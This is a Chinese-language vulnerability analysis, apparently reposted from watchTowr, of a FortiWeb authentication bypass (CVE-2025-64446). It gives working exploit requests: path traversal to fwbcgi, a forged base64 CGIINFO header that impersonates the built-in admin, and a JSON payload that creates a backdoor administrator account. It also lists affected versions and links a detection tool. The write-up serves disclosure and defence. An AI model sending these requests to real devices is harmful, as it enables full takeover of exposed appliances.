Fortinet FortiWeb身份验证绕过漏洞(CVE-2025-64446)深度分析:当模拟功能被用于模拟用户

本文详细分析了Fortinet FortiWeb设备中的一个严重身份验证绕过漏洞(CVE-2025-64446)。该漏洞由路径遍历和身份验证绕过两个问题组合构成,攻击者可通过特制的HTTP请求模拟管理员,完全控制易受攻击的设备。

当模拟功能被用于模拟用户(Fortinet FortiWeb 身份验证绕过 CVE-2025-64446)

互联网再次硝烟四起,我们都获得了前排观战席——一个坏人,信不信由你,正在做坏事!这种行为的最初预警来自 Defused 的优秀团队。

正如许多人现在所意识到的,一个未命名(且可能已被静默修复)的漏洞正被积极利用,该漏洞影响了许多 Forti 设备(影响范围目前尚不清楚)。对许多人来说,这感觉像是普通的星期二。对另一些人来说,这感觉像是星期一。这样的时刻正是我们存在的意义——一如既往,watchTowr 团队迅速行动,在威胁出现时启动了快速响应流程以支持客户。

漏洞详情

Fortinet 系统管理员若在过去几周里好奇地查看过数据包捕获(作为任何安全设备的管理员通常必须这样做),可能看到过以下请求流经过:

1
2
3
4
5
6
7
8
9
POST /api/v2.0/cmdb/system/admin%3F/../.. ../../../cgi-bin/fwbcgi HTTP/1.1
Host: [redacted]
User-Agent: python-urllib3/2.2.3
Accept-Encoding: identity
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Content-Length: 835
Content-Type: application/json

{ "data": { "q_type": 1, "name": "Testpoint", "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0 ", "trusthostv6": "::/0 ", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "domains": "root", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": "AFodIUU3Sszp5" }}

虽然许多人可能将其视为互联网垃圾,但它不是——这是一个威胁行为者试图利用一个漏洞(目前未命名且没有ID)的证据,该漏洞允许访问特权管理功能。在上面的例子中,威胁行为者利用该漏洞向目标易受攻击的设备添加了管理账户,作为一种弱持久化机制。需要明确的是,这完全控制了易受攻击的设备。

漏洞本身?据我们所知,它实际上是两个问题:

  1. 我们可以在URI中看到的路径遍历漏洞
  2. 通过HTTP请求头CGIINFO的内容实现身份验证绕过漏洞

Fortinet 是否知情?

过去24小时里,这个问题一直在被追问。 虽然 FortiWeb 8.0.2 的补丁说明没有包含对此漏洞的引用或提及,但我们内部测试实验室的结果显示,8.0.2 神秘地修复了这个神秘的漏洞: Fortinet 是否意外地、静默地修补了一个漏洞?只有 Fortinet 真正知道。

已知受影响的版本如下(感谢 Orange Cyberdefense 与我们共享信息):

  • 8.0: <8.0.2
  • 7.6: <7.6.5
  • 7.4: <7.4.10
  • 7.2: <7.2.12
  • 7.0: <7.0.12
  • 6.4: <= 6.4.3
  • 6.3: <= 6.3.23

更新: Fortinet PSIRT 现已发布其公告并分配了 CVE-2025-64446。

第一步 - 路径遍历

漏洞利用的第一阶段是利用路径遍历。

1
2
3
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: 192.168.9.1
Connection: keep-alive

如您所见,这相当“简单”——如果URI以有效的 FortiWeb API 路径开头,攻击者就能够遍历到另一个CGI可执行文件。

哪个CGI可执行文件?嗯,只有一个——fwbcgi——所以选择相当简单。 可以使用以下方法快速检查您的 FortiWeb 版本是否受此漏洞影响。 如果请求返回 HTTP 200,则漏洞存在。 如果请求返回 HTTP 403,则漏洞已被修补。

第二步 - FWBCGI

让我们简要解释一下 fwbcgi 二进制文件的工作原理。为了提供背景信息,fwbcgi 提供的主要函数结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
  [..SNIP..]

  cgi_init(v3);
  while ( !access("/var/log/debug_cgi", 0) )
    sleep(1u);
  if ( (unsigned int)cgi_inputcheck((__int64)v4) || (gui_conf_init(), cli_init(), (unsigned int)cgi_auth(v4)) )
  {
    cgi_output(v4);
  }
  else
  {
    cgi_process(v4);
    cgi_output(v4);
    conf_end();
  }
  cgi_free(v4);
  return 0;
}

我们的目标是到达 cgi_process() 函数,该函数包含我们需要访问的所有后端功能。然而,我们和目标之间有两个验证函数:

  • cgi_inputcheck()
  • cgi_auth()

两个检查都必须通过(返回0),执行才能继续到 cgi_process()

第二步 (a) - cgi_inputcheck()

实际上,cgi_inputcheck() 非常简单。 cgi_inputcheck() 例程旨在对传入的 HTTP 正文执行非常轻量级的验证。在实践中,其作用仅限于确认内容是有效的 JSON 数据块。 该函数的相关部分如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall cgi_inputcheck(__int64 a1)
{
  [..SNIP..]
  
  v1 = (char *)cat_cgi_paths();
  snprintf(s, 0x100uLL, "%s%s%s", "/var/log/inputcheck/", v1, ".json");
  free(v1);
  v2 = fopen(s, "r");
  if ( !v2 )
    return 0LL;  // 文件不存在 - 检查通过
    
  [..SNIP..]
  
  v10 = json_tokener_parse((__int64)v8);
  if ( !v10 )
  {
    // JSON 解析失败 - 检查失败
    return 0LL;
  }
  [..SNIP..]
}

这里的逻辑非常宽松:

  • 如果相关的 inputcheck 文件不存在(默认情况),该函数立即返回0——验证通过。
  • 如果文件确实存在,唯一的要求是正文可以解析为有效的JSON。

因此,任何有效的JSON对象都满足此检查,包括最简单的JSON有效载荷:{} 让我们继续…

第二步 (b) - 通过 cgi_auth() 模拟用户

这里事情变得有趣得多。 虽然您可能期望 cgi_auth() 对调用者进行身份验证,但事实并非如此。相反,该函数实际上提供了一种机制,可以根据客户端提供的数据模拟任何用户。该行为分几个步骤展开:

  1. 在步骤 [1],函数从 HTTP 请求中提取 CGIINFO 头部。
  2. 在步骤 [2],该值被 Base64 解码。
  3. 在步骤 [3],结果被解析为 JSON。
  4. 在步骤 [4],函数遍历所有 JSON 键并提取几个与用户相关的属性:
    • username > 目标用户名
    • profname > 配置文件名称
    • vdom > 虚拟域
    • loginname > 登录标识符

这些字段用于告诉 fwbcgi HTTP 请求发送者希望模拟哪个用户。 值得注意的是,FortiWeb 设备上的内置管理员账户具有跨设备一致的属性集——并且这些属性无法修改。 该函数的相关部分如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall cgi_auth(_QWORD *a1)
{
  [..SNIP..]
  
  v2 = getenv("HTTP_CGIINFO");
  if ( !v2 )
  {
    message("%s:%d: not include cgi info header\\n", s);
    return 0xFFFFFFFFLL;
  }
  
  // 解码 base64 HTTP_CGIINFO 头部
  cmDecodeB64(v19, 512LL, v2, 0xFFFFFFFFLL); // [2]
  v3 = json_tokener_parse(v19); // [3]
  
  [..SNIP..]
  
  // 从解码后的 JSON 中提取用户属性
  // [4]
  for ( i = *(_QWORD *)(json_object_get_object(v3) + 8); i; i = *(_QWORD *)(i + 24) )
  {
    v5 = *(const char **)i;
    string = (const char *)json_object_get_string(*(_QWORD *)(i + 16));
    
    if ( !strncmp(v5, "username", 8uLL) )
      a1[682] = strdup(string);
    else if ( !strncmp(v5, "profname", 8uLL) )
      a1[683] = strdup(string);
    else if ( !strncmp(v5, "vdom", 4uLL) )
      a1[684] = strdup(string);
    else if ( !strncmp(v5, "loginname", 9uLL) )
      a1[685] = strdup(string);
    // ... 附加字段
  }
  
  // 使用提取的凭据设置登录上下文
  
  // [5]
  set_login_context_vsa(a1[685], a1[682], v19, a1[683], v8, 0LL);
  domain_id = cmf_shm_find_domain_id((void *)a1[684]);
  cmf_set_cur_domain_id(domain_id);
  
  return 0LL;
}

一旦所有字段被提取,步骤 [5] 的调用——set_login_context_vsa()——会应用模拟上下文。 从此时起,在 cgi_process() 中执行的所有操作都将以被模拟用户的身份执行。 换句话说——通过提供一个手工制作的 HTTP_CGIINFO 头部,攻击者可以模拟任何用户,包括内置管理员,并继承其全部权限。

太棒了。

利用漏洞

随着两个验证检查都被绕过,利用变得异常简单。要获取管理员权限,我们可以遵循以下流程:

  1. 创建一个包含内置管理员凭据的 JSON 对象:
1
2
3
4
5
6
{
  "username": "admin",
  "profname": "super_admin",
  "vdom": "root",
  "loginname": "admin"
}
  1. 对此 JSON 进行 Base64 编码
  2. 将其放入 HTTP 请求的 CGIINFO 头部中

一旦被 cgi_auth() 处理,易受攻击的设备将欣然模拟提供的用户,并将请求视为具有完全管理权限的已认证请求。

从此时起,所有执行流程都进入 cgi_process(),这是后端逻辑的核心。这意味着攻击者只需提供适当的 JSON 结构即可执行任何特权操作。

例如,以下有效载荷指示设备创建一个名为 watchTowr、密码为 watchTowr 且具有管理权限 (prof_admin) 的新本地用户:

1
{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","last-name":"","first-name":"","email-address":"","phone-number":"","mobile-number":"","hidden":0,"comments":"","sz_dashboard":-1,"type":"local-user","type_val":"0","admin-usergrp_val":"0","wildcard_val":"0","accprofile-override_val":"0","sshkey":"","passwd-set-time":0,"history-password-pos":0,"history-password0":"","history-password1":"","history-password2":"","history-password3":"","history-password4":"","history-password5":"","history-password6":"","history-password7":"","history-password8":"","history-password9":"","force-password-change":"disable","force-password-change_val":"0","password":"watchTowr"}}

检测特征生成器

由于野外利用正在全球范围内无差别地针对 FortiWeb 设备,我们发布我们的检测特征生成器,以使防御者能够识别其资产中的易受攻击主机。 该生成器可在 https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass 找到。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计